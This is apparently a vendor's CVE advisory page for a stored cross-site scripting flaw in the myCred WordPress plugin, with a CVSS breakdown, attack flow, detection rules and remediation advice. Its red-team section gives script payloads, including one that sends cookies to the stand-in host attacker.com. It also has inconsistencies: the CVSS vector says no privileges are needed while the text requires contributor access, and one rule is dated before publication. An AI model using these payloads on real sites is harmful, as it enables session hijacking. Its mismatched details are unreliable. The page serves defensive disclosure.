☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Iqbal logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54668

CVE-2025-54668 Cross-Site Scripting in Saad iqbal
📅 PUBLISHED: 2025-08-14 11:15 UTC 🔄 UPDATED: 2026-09-26 05:59 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54668 is a Stored Cross-Site Scripting (XSS) vulnerability in the myCred WordPress plugin, developed by Saad Iqbal. The flaw exists in versions up to and including 2.9.4.3, where user-supplied input is improperly neutralized during web page generation. An authenticated attacker with contributor-level access or higher can inject malicious JavaScript payloads into the plugin’s database, which are then executed in the browsers of other users (including administrators) when the affected page is rendered. This can lead to session hijacking, credential theft, or defacement.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. myCred is distributed via the official WordPress Plugin Directory. Users should verify plugin integrity via checksums provided by WordPress.org. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None (but requires user interaction)
  • User Interaction: Required (victim must visit a page with the injected script)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the widespread use of myCred in WordPress sites elevate the risk. An attacker can persistently compromise user sessions.

Deep Dive & Mechanics

The myCred plugin provides gamification and points management for WordPress. The vulnerability lies in how the plugin handles user input when creating or editing points-related content (e.g., badges, ranks, or custom messages). The plugin fails to sanitize or escape user-supplied data before storing it in the database and later rendering it in the browser.

Attack Flow:

  1. An attacker with contributor-level access (or higher) logs into WordPress.
  2. The attacker navigates to a myCred admin page (e.g., adding a new badge or custom message).
  3. The attacker injects a malicious JavaScript payload into an input field (e.g., badge name or description).
  4. The plugin stores the payload in the WordPress database without proper sanitization.
  5. When an administrator or other user views the affected page (e.g., the badge list or user profile), the payload executes in their browser.
  6. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user input.

Vulnerable vs. Patched Code

Vulnerable Code (myCred <= 2.9.4.3):

// In a template or admin page
echo $badge_name; // Direct output without sanitization

Patched Code (Hypothetical fix):

// Properly escape output
echo esc_html( $badge_name );

The patch would require applying WordPress escaping functions (esc_html(), esc_attr(), wp_kses()) to all user-supplied data before output. Since no official patch is available, users must manually apply these changes or disable the plugin.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • WordPress site with myCred plugin version <= 2.9.4.3
  • Attacker account with contributor-level privileges

Exploitation Steps:

  1. Log in to WordPress as a contributor.
  2. Navigate to myCred > Badges (or any custom post type).
  3. Create a new badge with the following payload in the Badge Name field:
    <script>alert('XSS')</script>
    
  4. Save the badge.
  5. As an administrator, visit myCred > Badges to trigger the XSS.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defender)

Detection:

  • Monitor WordPress admin logs for unusual badge/rank creation.
  • Use WAF rules to block <script> tags in POST requests to /wp-admin/admin-ajax.php or /wp-admin/admin-post.php.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Mitigation:

  • Disable the myCred plugin until a patch is released.
  • Apply virtual patching via WAF (e.g., ModSecurity rule to block mycred POST requests containing <script>).
  • Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /wp-admin/admin-ajax.php with action=mycred_save_badge and payload containing <script> tags.
  • File: Modified database entries in wp_postmeta or wp_posts with mycred_badge post type containing JavaScript.
  • Log: WordPress debug log entries showing mycred related errors or unexpected output.
  • Browser: Unusual JavaScript execution in admin pages (e.g., unexpected alert() or fetch() calls).

Detection Engineering

YARA Rule

rule CVE_2025_54668_myCred_XSS {
    meta:
        description = "Detects stored XSS payloads in myCred plugin database entries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54668"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $mycred_context = /mycred/i
    condition:
        $xss_payload and $mycred_context
}

Sigma Rule

title: CVE-2025-54668 - myCred Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in myCred plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=mycred_save_badge'
        cs-request-body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in badge descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54668 myCred Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=mycred_save_badge"; http_client_body; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the myCred plugin if not critical to operations.
  2. Apply virtual patching using WAF rules to block POST requests containing <script> in myCred-related endpoints.
  3. Restrict user roles – only grant contributor access to trusted users.

Long-term Fix:

  • Monitor the myCred plugin page for an official patch.
  • If no patch is released, consider forking the plugin and applying the fix manually (add esc_html() to all output functions).
  • Replace the plugin with an alternative gamification solution.

Detection:

  • Deploy the provided YARA, Sigma, and Suricata rules.
  • Enable WordPress audit logging to track changes to myCred posts.

Valters IT
Securing Digital Ecosystems

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54668/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.